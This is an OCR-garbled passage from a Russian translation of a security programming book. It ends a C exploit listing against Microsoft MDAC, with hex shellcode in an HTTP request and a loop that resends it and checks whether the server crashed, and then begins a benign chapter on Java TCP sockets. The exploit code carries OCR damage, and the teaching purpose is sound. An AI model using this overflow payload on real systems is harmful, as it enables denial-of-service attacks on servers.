книги хакеры / Защита_от_взлома_сокеты,_эксплойты,_shell_код_Фостер_Дж_
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
|||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
|||||
|
- |
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
BUY |
|
|
|||||||
|
|
|
|
to |
|
|
|
|
|
Часто задаваемые вопросы 231 |
|
to |
|
|
|
|
|
|
||||
w Click |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
e |
|
|
|
|
df-x chan |
e |
|
||||||||
|
|
|
df-xchan71 "\xff\xa7\x6a\xc2\x49\x7e\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc2\x75\xa6" |
|
|
|
|
|
|
72 "\x55\x39\x10\x55\xe0\x6c\xc4\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b"
73 "\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9"
74 "\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1"
75 "\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6\xe1\xf4\xe7\xe1\xe0\xe5\xdc"
76 "\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xe7\xfa\xf6\xf0\xe6"
77 "\xe6\xf4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1\xc5\xfc\xe5\xf0\x95"
76 "\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2\xe7\xfc\xe1\xf0"
79"\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95\xc6\xf9\xf0"
80"\xf0\xe5\x95\xd0\xed\xfc\xe1\xc5\xe7\xfa\xf6\xf0\xe6\xe6\x95\xd6\xf9"
81"\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6\xa7"
82"\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0"
83"\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb"
84"\xfb\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8"
85"\xf1\xbb\xf0\xed\xf0\x95\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
86"\x90\x90\x90\xc7\x05\x20\xf0\xfd\x7f\xd6\x21\xf8\x77\x0d\x0a\x0d\x0a"
87"Host: localhost\r\n\r\n";
88
89printf("Начало атаки...");
90char *output = NULL;
91for(int x = 0; x < 9; x++)
92{
93for(int count = 0; count < 5; count++)
94{
95printf("ïîðò %d: ", port[x]);
96if( is_up(targetip, port[x]) )
97{
98printf("работает\n");
99Sleep(3000);
100printf("АТАКА !!!");
101
102output = send_exploit(targetip, port[x], send);
103printf("Эксплойт отправлен");
104
105if( is_string_in("server: microsoft", output) &&
106is_string_in("remote procedure", output) &&
107is_string_in("failed", output) &&
108{
109printf("Повалили!"\n);
110}
111else
112{
113printf("Åùå æèâ.\n");
114}
115}
116else
117{
118count = 5;
119printf("óìåð.\n");
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
||
|
|
X |
|
|
|
|
|
|
|
||
|
- |
|
|
|
|
d |
|
|
|||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|||
|
|
|
|
to |
|
|
232 Глава 4. Сокеты на платформе Windows (Winsock) |
||||
w Click |
|
|
|
||||||||
|
|
|
|
||||||||
|
|
|
|
|
|
m |
|
||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
e |
|
} |
||
|
|
|
df-xchan |
120 |
|||||||
|
|
|
|
|
|
|
|
121 |
} |
||
|
|
|
|
|
|
|
|
122 |
} |
||
|
|
|
|
|
|
|
|
123 |
return(0); |
||
|
|
|
|
|
|
|
|
124 } |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Анализ
В строке с 20 по 86 находится посылаемая эксплойтом строка (shell-код). Значительную часть ее составляют шестнадцатеричные символы, которые приведут к переполнению буфера и отказу компонента MDAC.
В строках 91–121 эксплойт посылается несколько раз и после каждой
попытки проверяется, привела ли она к краху серверу.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
Глава 5 |
df |
|
|
n |
e |
|
||||
|
|
|
|
-x cha |
|
|
|
|
Сокеты в языке Java
Описание данной главы:
ТСР клиенты
ТСР серверы
Клиенты и серверы протокола UDP См. также главы 3 и 4
Резюме
Обзор изложенного материала
Часто задаваемые вопросы
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||
|
|
X |
|
|
|
|
|
|
||
|
- |
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
234 Глава 5. Сокеты в языке Java |
|||
w Click |
|
|
|
|||||||
|
|
|
|
|||||||
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
|
e |
|
||
|
|
|
|
|
n |
Введение |
||||
|
|
|
|
-xcha |
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Java Sockets – это программный интерфейс, позволяющий приложениям, написанным на языке Java, обмениваться данными по протоколам из семейства TCP/IP. Интерфейс состоит из набора простых в применении классов, которые абстрагируют многие сложности, свойственные сетевому программированию. Все эти классы входят в состав пакета java.net и являются частью спецификации Java 2.
Помимо поддержки протоколов TCP и UDP для программирования клиентских и серверных сокетов, в пакете java.net имеются также средства для разбора IP-адресов, разрешения доменных имен и решения многих других задач, возникающих при написании сетевых программ.
В этой главе рассмотрены вопросы программирования клиентских и серверных сокетов для протоколов TCP и UDP с применением классов из пакета java.net. Мы также кратко остановимся на манипулировании IP-адресами, разрешении имен и использовании нескольких потоков в TCP-клиенте.
Примечание
Все примеры в этой главе были написаны и откомпилированы на платформе Microsoft Windows 2000 с помощью стандартного комп лекта для разработки Software Development Kit (SDK) для версии Java 2 v1.4.1.
Обзор протоколов TCP/IP
В набор протоколов TCP/IP входит несколько сетевых протоколов. На прикладном уровне чаще всего применяются протоколы TCP и UDP. Протокол TCP предоставляет надежное, двустороннее соединение и допускает мультиплексирование на несколько портов. Гарантируется, что удаленный хост получит посланные по протоколу TCP данные в неизменном виде. Этот протокол надежен, но из-за накладных расходов, необходимых для сложной реализации обработки ошибок и управления потоком, он работает сравнительно медленно.
Протокол UDP обеспечивает ненадежную доставку датаграмм и тоже поддерживает мультиплексирование на несколько портов. Посланные по протоколу UDP данные могут прийти искаженными, в другом порядке или не прийти вовсе. Возможно также появление дубликатов. Но при этом прото-
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
|
- |
|
|
|
|
|
d |
|
|||||
|
F |
|
|
|
|
|
|
t |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
i |
r |
|
D |
|
|
|
|
|
|
|
|
i |
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
||||||
P |
|
|
|
|
|
|
|
|
o |
|
P |
|
|
|
|
|
|
|
|
|
o |
|||
|
|
|
|
|
NOW! |
|
|
|
|
|
|
|
|
NOW! |
|
|
||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
|
to |
|
|
|
|
|
|
Обзор протоколов ТСР/IP 235 |
|
to |
|
|
|
|
|
|
|||||
w Click |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
m |
|
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
-x cha |
|
|
|
||||||
|
|
|
|
-xchêîëa |
|
|
UDP работает очень быстро. Он больше подходит для использования |
|
|
e |
|
|||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
df |
|
|
n |
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
в локальных сетях, где пропадание или искажение пакетов маловероятно. |
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
Для адресации хостов в сетях IPv4 используются 4-байтовые числа. У боль- |
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
шинства хостов всего один IP-адрес, но бывает и несколько. |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
Номер порта – двухбайтовое беззнаковое целое число – в |
сочетании |
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
с IP-адресом однозначно определяет «оконечную точку» на любом хосте. Все- |
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
го для каждого IP-адреса существует 216–1 возможных оконечных точек. В каж- |
|
|
|
|
|
|
|
|
|
дом TCP-сегменте или UDP-датаграмме присутствуют IP-адреса и номера портов отправителя и получателя.
Клиент, работающий по протоколу TCP или UDP, отправляет данные из своего локального порта в порт удаленного хоста с известным IP-адресом. Номер локального порта обычно выбирается из диапазона 1025 – 65535. Порты с номерами от 1 до 1024 как правило зарезервированы для привилегированных служб. Номера некоторых портов фиксированы органами стандартизации и не должны заниматься под другие службы. Так, например, для протокола HTTP выделен порт TCP/80, для протокола SMTP – порт TCP/25, а для службы разрешения доменных имен (DNS) – порт UDP/53.
TCP3клиенты
Благодаря пакету java.net, программирование клиентских TCP-сокетов не вызывает сложностей. Все детали создания и управления новыми TCP-соеди- нениями инкапсулированы в класс Socket. Для передачи и приема данных применяются стандартные классы InputStream è OutputStream из пакета java.io.
В классе Socket определены несколько конструкторов и методов для установления, управления и разрыва соединения. Конструкторы служат для создания новых соединений, а прочие методы – для отправки и приема данных, получения информации о состоянии соединения, тонкой настройки различ- ных аспектов обмена данными и разрыва соединения.
Из всего этого богатства для реализации базовой функциональности клиентского TCP-сокета необходимо лишь несколько методов.
Пример 5.1. Клиентский TCP*сокет (TCPClient1.java)
1/*
2* TCPClient1.java
3*
4* Программа для создания клиентского TCP-сокета,
5* получения и приема данных по протоколу
6* HTTP 1.0.
7*
8* Порядок запуска:
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
236 Глава 5. Сокеты в языке Java |
|||
w Click |
|
|
|
|
|||||||
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
9 * |
|||
|
|
|
df-xchan |
e |
|||||||
|
|
|
|
|
10* java TCPClient1 <target_ip> <target_port> <resource>
11*
12*
13*/
14import java.io.* ;
15import java.net.*;
16
17 public class TCPClient1
18{
19public static void main(String[] args)
20{
21 |
InputStream |
is |
= null; |
22 |
OutputStream |
os |
= null; |
23 |
Socket |
sock |
= null; |
24 |
String |
addr |
= null; |
25 |
String |
res |
= null; |
26 |
String |
send |
= null; |
27 |
String |
tmp |
= null; |
28 |
byte[] |
recv |
= new byte[4096]; |
29 |
int |
port |
= 0; |
30 |
int |
len |
= 0; |
31 |
|
|
|
32if(args.length != 3)
33{
34System.err.println("usage: java TCPClient1" +
35 |
" <target_ip> |
<target_port>" + |
36 |
" <resource>."); |
|
37 |
|
|
38 |
System.err.println("Пример: java |
TCPClient1" + |
39 |
"127.0.0.1 80 |
/"); |
40 |
|
|
41System.exit(1);
42}
43
44addr = args[0];
45tmp = args[1];
46res = args[2];
48try
49{
50// преобразовать номер порта в целое число
51port = Integer.parseInt(tmp);
52
53// установить соединение с IP-адресом и портом
54sock = new Socket(addr, port);
55
56// получить от сокета потоки для ввода и вывода
57is = sock.getInputStream ();
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|
||
|
|
X |
|
|
|
|
|
||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||
|
|
|
|
|
|
|
|||
|
|
|
|
|
BUY |
|
|
||
|
|
|
|
to |
|
|
|
|
|
w Click |
|
|
|
|
m |
||||
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
e |
|
|
|
|
|
df-xch58an |
|
|
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94 }
95 }
os = sock.getOutputStream();
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
Обзор протоколов ТСР/IP 237 |
|
to |
|
|
|
|
|
|||
|
|
|
|
|
|
|
||||
w Click |
|
|
|
|
|
|
m |
|||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
//исключения не было, значит, соединение установлено send = "GET " + res + " HTTP/1.0\r\n\r\n";
//послать HTTP-запрос
os.write(send.getBytes());
//прочитать ответ len = is.read(recv);
//закрыть соединение sock.close();
//напечатать результат if(len > 0)
{
//преобразовать полученные байты в строку tmp = new String (recv);
//вывести на stdout
System.out.println(tmp );
}
}
catch (NumberFormatException nfe)
{
// значение порта – не число? System.err.println("NumberFormatException:"
+ nfe.getMessage());
}
catch (IOException ioe)
{
// ошибка при установлении соединения? System.err.println("IOException:"
+ ioe.getMessage());
}
Компиляция
C:\> j2sdk1.4.1_02\bin\javac.exe TCPClient1.java
C:\> dir
.
.
TCPClient1.class
.
.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
238 Глава 5. Сокеты в языке Java |
|||
w Click |
|
|
|
|
|||||||
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
-xcha |
|
|
.c |
|
||||
|
|
p |
|
|
|
Пример выполнения |
|||||
|
|
|
|
|
|
g |
|
|
|||
|
|
|
df |
|
|
n |
e |
|
|||
|
|
|
|
|
|
|
|
|
C:\> j2sdk1.4.1_02\bin\java.exe TCPClient1.java
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
usage: java TCPClient1 <target_ip> <target_port> <resource> Пример: java TCPClient1 127.0.0.1 80 /
C:\> j2sdk1.4.1_02\bin\java.exe TCPClient1.java 127.0.0.1 80 /
HTTP/1.0 200 OK
Server: thttpd/2.3beta1 26 may 2002
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 26 May 2003 06:16:51 GMT
Last-Modified: Thu, 08 May 2003 19:30:33 GMT
Accept-Ranges: bytes
Connection: close
Content-Length: 339
В этом примере создается клиентский TCP-сокет и устанавливается соединение с портом 80 HTTP-сервера. Затем серверу отправляется запрос, после чего читается и выводится (на стандартный вывод) полученный ответ. Пример полезен тем, что демонстрирует, насколько просто установить и использовать соединение с помощью класса Socket.
Анализ
В строке 32 разбираются и проверяются аргументы, заданные в командной строке.
В строке 51 вызывается метод parseInt(), преобразующий номер порта из символьного в числовое представление, которого ожидает конструктор класса Socket.
В строке 54 создается объект класса Socket, причем конструктору передаются заданные в командной строке IP-адрес и номер порта. В процессе создания устанавливается TCP-соединение. В случае ошибки, то есть невозможности открыть соединение, возбуждается исключение
IOException.
В строке 57 мы с помощью метода getInputStream() запрашиваем у объекта Socket экземпляр класса InputStream – поток, из которого будут считываться данные.
В строке 58 метод getOutputStream() возвращает экземпляр класса OutputStream – поток, в который будут записываться данные.
В строке 61 форматируется и сохраняется в переменной send запрос GET по протоколу HTTP 1.0.
В строке 64 строковая переменная send преобразуется в массив байтов
с помощью метода getBytes() класса String. Этот массив отправляется Webсерверу посредством вызова метода write() объекта класса OutputStream.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
|
|
||||
|
|
|
|
-xcha |
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
Обзор протоколов ТСР/IP 239 |
|
to |
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
||||
w Click |
|
|
|
|
|
|
|
m |
|||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|||
|
|
p |
|
-x cha |
|
|
|
||||
В строке 67 вызывается метод read() из класса InputStream, чтобы про- |
df |
|
e |
|
|||||||
|
|
|
|
|
n |
|
|
|
|
читать не более 4096 байтов в массив recv. Число реально прочитанных байтов сохраняется в переменной len.
В строке 70 сокет закрывается, что приводит к разрыву TCP-соединения. В строке 76 проверяется значение len, полученное от метода read(). Если оно больше нуля, то байтовый массив recv преобразуется в объект класса String.
В строке 79 полученные от Web-сервера данные выводятся на печать. В строке 82 обрабатывается исключение типа NumberFormatException. Его возбуждает метод parseInt() класса Integer в строке 51, если номер порта, заданный в командной строке, нельзя преобразовать в число.
В строке 88 обрабатывается исключение типа IOException. Оно возникает в случае ошибки при попытке установить TCP-соединение, передать данные или закрыть соединение. К сожалению, класс IOException не предоставляет столь же подробную информацию об ошибке, как переменная errno в программах на C/C++. Поэтому приходится полагаться на метод getMessage() для получения сообщения, например, «Connect failed» (Ошибка при установлении соединения).
Разрешение IP3адресов и доменных имен
Иногда бывает полезно преобразовать IP-адрес, заданный в точечно-десятич- ной нотации, в имя хоста и наоборот. Бывает также необходима информация об оконечных точках TCP или UDP-соединения. За представление и преобразование адресов из одной формы в другую отвечает класс InetAddress из пакета java.net.
Âклассе Socket есть два метода – getLocalAddress() è getInetAddress(), которые возвращают соответственно IP-адреса локального и удаленного компьютеров на разных концах сокета. Кроме того, класс Socket предоставляет методы getLocalSocketAddress() è getRemoteSocketAddress(), возвращающие объекты типа InetSocketAddress, которые содержат полную информацию об оконечных точках соединения, включая не только IP-адреса, но и номера портов.
Класс Socket имеет средства для разрешения имен хостов. Для этого достаточно передать его конструктору IP-адрес в точечно-десятичной нотации или доменное имя хоста, а потому получить результат операции разрешения.
Âпримере 5.2 показано, как из IP-адреса или имени хоста получить объект типа InetAddress. «CHIAPAS» – это имя компьютера автора. Но вообще-то можно задать любую синтаксически допустимую строку, в том числе полностью определенное имя удаленного хоста, скажем, www.insidiae.com. Äëÿ äàí-
ного примера предположим, что IP-адрес компьютера CHIAPAS – 10.0.1.56.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
||
P |
|
|
|
|
|
NOW! |
o |
|
|
||||
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
|
|
||||
|
|
|
|
to |
|
|
|
240 Глава 5. Сокеты в языке Java |
|||||
w Click |
|
|
|
|
|||||||||
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
m |
|
|
||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
|
. |
|
-xcha |
|
|
.c |
|
|
|
||||
|
|
p |
|
|
|
Пример 5.2. Преобразование IP*адреса или имени хоста в объект |
|||||||
|
|
|
|
|
|
g |
|
|
|
|
|||
|
|
|
df |
|
|
n |
e |
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
InetAddress |
|
|
||
|
|
|
|
|
|
|
|
|
|
